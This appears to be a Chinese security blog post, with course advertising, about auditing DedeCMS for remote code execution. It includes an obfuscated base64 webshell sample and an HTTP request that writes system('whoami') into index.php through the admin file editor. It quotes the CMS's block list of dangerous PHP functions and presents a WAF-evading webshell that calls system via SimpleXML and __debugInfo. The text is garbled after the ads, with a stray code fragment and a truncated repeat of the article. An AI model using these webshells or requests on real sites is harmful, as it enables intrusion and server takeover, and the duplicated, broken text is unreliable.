意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

2025-08-15 16:57
963

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

官方网站 https://www.dedecms.com/

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

https://github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
   if ($k[0] == 'd' && $k[5] == 'd') {
       $template_source = str_replace($v,'',$password);
  }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
   header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
   echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $key,等价于$template_source

$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

function DeleteFile($filename)
  {
       $filename = $this->baseDir.$this->activeDir."/$filename";
       if(is_file($filename))
      {
           @unlink($filename); $t="文件";
      }
       else
      {
           $t = "目录";
           if($this->allowDeleteDir==1)
          {
               $this->RmDirFiles($filename);
          } else
          {
               // 完善用户体验,by:sumic
               ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
               exit;
          }
           
      }
       ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
       return 0;
  }
}

是一个方法,这种需要寻找调用这个方法的地方

else if($fmdo=="del")
{
   $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

/**
* 文件管理控制
*
* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package       DedeCMS.Administrator
* @founder       IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license       http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

if(preg_match("#^select #i", $sqlquery))
  {
       $dsql->SetQuery($sqlquery);
       $dsql->Execute();
       if($dsql->GetTotalRow()<=0)
      {
           echo "运行SQL:{$sqlquery},无返回记录!";
      }
       else
      {
           echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
      }
       $j = 0;
       while($row = $dsql->GetArray())
      {
           $j++;
           if($j > 100)
          {
               break;
          }
           echo "<hr size=1 width='100%'/>";
           echo "记录:$j";
           echo "<hr size=1 width='100%'/>";
           foreach($row as $k=>$v)
          {
               echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
          }
      }
       exit();
  }
   if($querytype==2)
  {
       //普通的SQL语句
       $sqlquery = str_replace("\r","",$sqlquery);
       $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
       $nerrCode = ""; $i=0;
       foreach($sqls as $q)
      {
           $q = trim($q);
           if($q=="")
          {
               continue;
          }
           $dsql->ExecuteNoneQuery($q);
           $errCode = trim($dsql->GetError());
           if($errCode=="")
          {
               $i++;
          }
           else
          {
               $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
          }
      }
       echo "成功执行{$i}个SQL语句!<br><br>";
       echo $nerrCode;
  }
   else
  {
       $dsql->ExecuteNoneQuery($sqlquery);
       $nerrCode = trim($dsql->GetError());
       echo "成功执行1个SQL语句!<br><br>";
       echo $nerrCode;
  }
   exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

function Execute($id="me", $sql='')
{
     global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
     if($dsqli->isClose)
    {
         $this->Open(FALSE);
         $dsqli->isClose = FALSE;
    }
     if(!empty($sql))
    {
         $this->SetQuery($sql);
    }
     //SQL语句安全检查
     if($this->safeCheck)
    {
         CheckSql($this->queryString);
    }

     $t1 = ExecTime();
     //var_dump($this->queryString);
     $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

     //查询性能测试
     if($this->recordLog) {
$queryTime = ExecTime() - $t1;
         $this->RecordLog($queryTime);
         //echo $this->queryString."--{$queryTime}<hr />\r\n";
    }

     if($this->result[$id]===FALSE)
    {
         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
    }
}

是有一个 checksql 的检查的

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
   function CheckSql($db_string,$querytype='select')
  {
       global $cfg_cookie_encode;
       $clean = '';
       $error='';
       $old_pos = 0;
       $pos = -1;
       $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
       $userIP = GetIP();
       $getUrl = GetCurUrl();

       //如果是普通查询语句,直接过滤一些特殊语法
       if($querytype=='select')
      {
           $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

           //$notallow2 = "--|/\*";
           if(preg_match("/".$notallow1."/i", $db_string))
          {
               fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
               exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
          }
      }

       //完整的SQL检查
       while (TRUE)
      {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
          {
               break;
          }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
          {
               $pos1 = strpos($db_string, '\'', $pos + 1);
               $pos2 = strpos($db_string, '\\', $pos + 1);
               if ($pos1 === FALSE)
              {
                   break;
              }
               elseif ($pos2 == FALSE || $pos2 > $pos1)
              {
                   $pos = $pos1;
                   break;
              }
               $pos = $pos2 + 1;
          }
           $clean .= '$s
;
           $old_pos = $pos + 1;
      }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

       if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
       OR strpos($clean,'$s$s
)!== FALSE)
      {
           $fail = TRUE;
           if(preg_match("#^create table#i",$clean)) $fail = FALSE;
           $error="unusual character";
      }

       //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
       if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="union detect";
      }

       //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
       elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
      {
           $fail = TRUE;
           $error="comment detect";
      }

       //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
       elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }
       elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }

       //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
       elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="sub select detect";
      }
       if (!empty($fail))
      {
           fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
           exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
      }
       else
      {
           return $db_string;
      }
  }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
   csrf_check();
   $filename = str_replace("..", "", $filename);
   $file = "$cfg_basedir$activepath/$filename";
   $str = stripslashes($str);
   $fp = fopen($file, "w");
   fputs($fp, $str);
   fclose($fp);

   if ($fp === false) {
       ShowMsg("保存失败!请检查文件是否可写", -1);
       exit();
  }

   if(empty($backurl))
  {
       ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
  }
   else
  {
       ShowMsg("成功保存文件!",$backurl);
  }
   exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
   $value = str_replace(" ", "", $value);
   if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
   if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

001.png

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

<?php

class User {
   private $username;
   private $password;

   public function __construct($username, $password) {
       $this->username = $username;
       $this->password = $password;
  }

   public function __debugInfo() {
       $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
       $xmlElement = new SimpleXMLElement($xmlData);
       $namespaces = $xmlElement->getNamespaces(TRUE);
       $xmlElement->rewind();
       var_dump($xmlElement->key());
       $result = $xmlElement->xpath('/books/system');
       var_dump (($result[0]->__toString()));
      ($xmlElement->key())($result[0]->__toString());
       return [
           'username' => $this->username,
           'info' => '这是调试时返回的信息',
           'timestamp' => time()
      ];
  }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

详情可以看到蚁景网络安全这个公众号

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg

感谢给的平台

然后我们访问首页

成功弹出计算器

蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~

扫码咨询客服了解招生最新内容和活动

🎈网安学院推荐课程:Web安全工程师特训班Python全栈安全开发特训班应急响应安全工程师特训班
 CTF-Reverse实战技能特训班CTF-WEB实战技能特训班 CTF-PWN实战技能特训班CTF-MISC实战技能特训班 SRC漏洞挖掘实战班HVV大师课
;\r\n            $old_pos = $pos + 1;\r\n       }\r\n        $clean .= substr($db_string, $old_pos);\r\n        $clean = trim(strtolower(preg_replace(array('~\\s+~s' ), array(' '), $clean)));\r\n \r\n        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'\"')!== FALSE\r\n        OR strpos($clean,'$s$s

意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

2025-08-15 16:57
963

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

官方网站 https://www.dedecms.com/

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

https://github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
   if ($k[0] == 'd' && $k[5] == 'd') {
       $template_source = str_replace($v,'',$password);
  }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
   header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
   echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $key,等价于$template_source

$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

function DeleteFile($filename)
  {
       $filename = $this->baseDir.$this->activeDir."/$filename";
       if(is_file($filename))
      {
           @unlink($filename); $t="文件";
      }
       else
      {
           $t = "目录";
           if($this->allowDeleteDir==1)
          {
               $this->RmDirFiles($filename);
          } else
          {
               // 完善用户体验,by:sumic
               ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
               exit;
          }
           
      }
       ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
       return 0;
  }
}

是一个方法,这种需要寻找调用这个方法的地方

else if($fmdo=="del")
{
   $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

/**
* 文件管理控制
*
* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package       DedeCMS.Administrator
* @founder       IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license       http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

if(preg_match("#^select #i", $sqlquery))
  {
       $dsql->SetQuery($sqlquery);
       $dsql->Execute();
       if($dsql->GetTotalRow()<=0)
      {
           echo "运行SQL:{$sqlquery},无返回记录!";
      }
       else
      {
           echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
      }
       $j = 0;
       while($row = $dsql->GetArray())
      {
           $j++;
           if($j > 100)
          {
               break;
          }
           echo "<hr size=1 width='100%'/>";
           echo "记录:$j";
           echo "<hr size=1 width='100%'/>";
           foreach($row as $k=>$v)
          {
               echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
          }
      }
       exit();
  }
   if($querytype==2)
  {
       //普通的SQL语句
       $sqlquery = str_replace("\r","",$sqlquery);
       $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
       $nerrCode = ""; $i=0;
       foreach($sqls as $q)
      {
           $q = trim($q);
           if($q=="")
          {
               continue;
          }
           $dsql->ExecuteNoneQuery($q);
           $errCode = trim($dsql->GetError());
           if($errCode=="")
          {
               $i++;
          }
           else
          {
               $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
          }
      }
       echo "成功执行{$i}个SQL语句!<br><br>";
       echo $nerrCode;
  }
   else
  {
       $dsql->ExecuteNoneQuery($sqlquery);
       $nerrCode = trim($dsql->GetError());
       echo "成功执行1个SQL语句!<br><br>";
       echo $nerrCode;
  }
   exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

function Execute($id="me", $sql='')
{
     global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
     if($dsqli->isClose)
    {
         $this->Open(FALSE);
         $dsqli->isClose = FALSE;
    }
     if(!empty($sql))
    {
         $this->SetQuery($sql);
    }
     //SQL语句安全检查
     if($this->safeCheck)
    {
         CheckSql($this->queryString);
    }

     $t1 = ExecTime();
     //var_dump($this->queryString);
     $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

     //查询性能测试
     if($this->recordLog) {
$queryTime = ExecTime() - $t1;
         $this->RecordLog($queryTime);
         //echo $this->queryString."--{$queryTime}<hr />\r\n";
    }

     if($this->result[$id]===FALSE)
    {
         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
    }
}

是有一个 checksql 的检查的

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
   function CheckSql($db_string,$querytype='select')
  {
       global $cfg_cookie_encode;
       $clean = '';
       $error='';
       $old_pos = 0;
       $pos = -1;
       $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
       $userIP = GetIP();
       $getUrl = GetCurUrl();

       //如果是普通查询语句,直接过滤一些特殊语法
       if($querytype=='select')
      {
           $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

           //$notallow2 = "--|/\*";
           if(preg_match("/".$notallow1."/i", $db_string))
          {
               fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
               exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
          }
      }

       //完整的SQL检查
       while (TRUE)
      {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
          {
               break;
          }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
          {
               $pos1 = strpos($db_string, '\'', $pos + 1);
               $pos2 = strpos($db_string, '\\', $pos + 1);
               if ($pos1 === FALSE)
              {
                   break;
              }
               elseif ($pos2 == FALSE || $pos2 > $pos1)
              {
                   $pos = $pos1;
                   break;
              }
               $pos = $pos2 + 1;
          }
           $clean .= '$s
;
           $old_pos = $pos + 1;
      }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

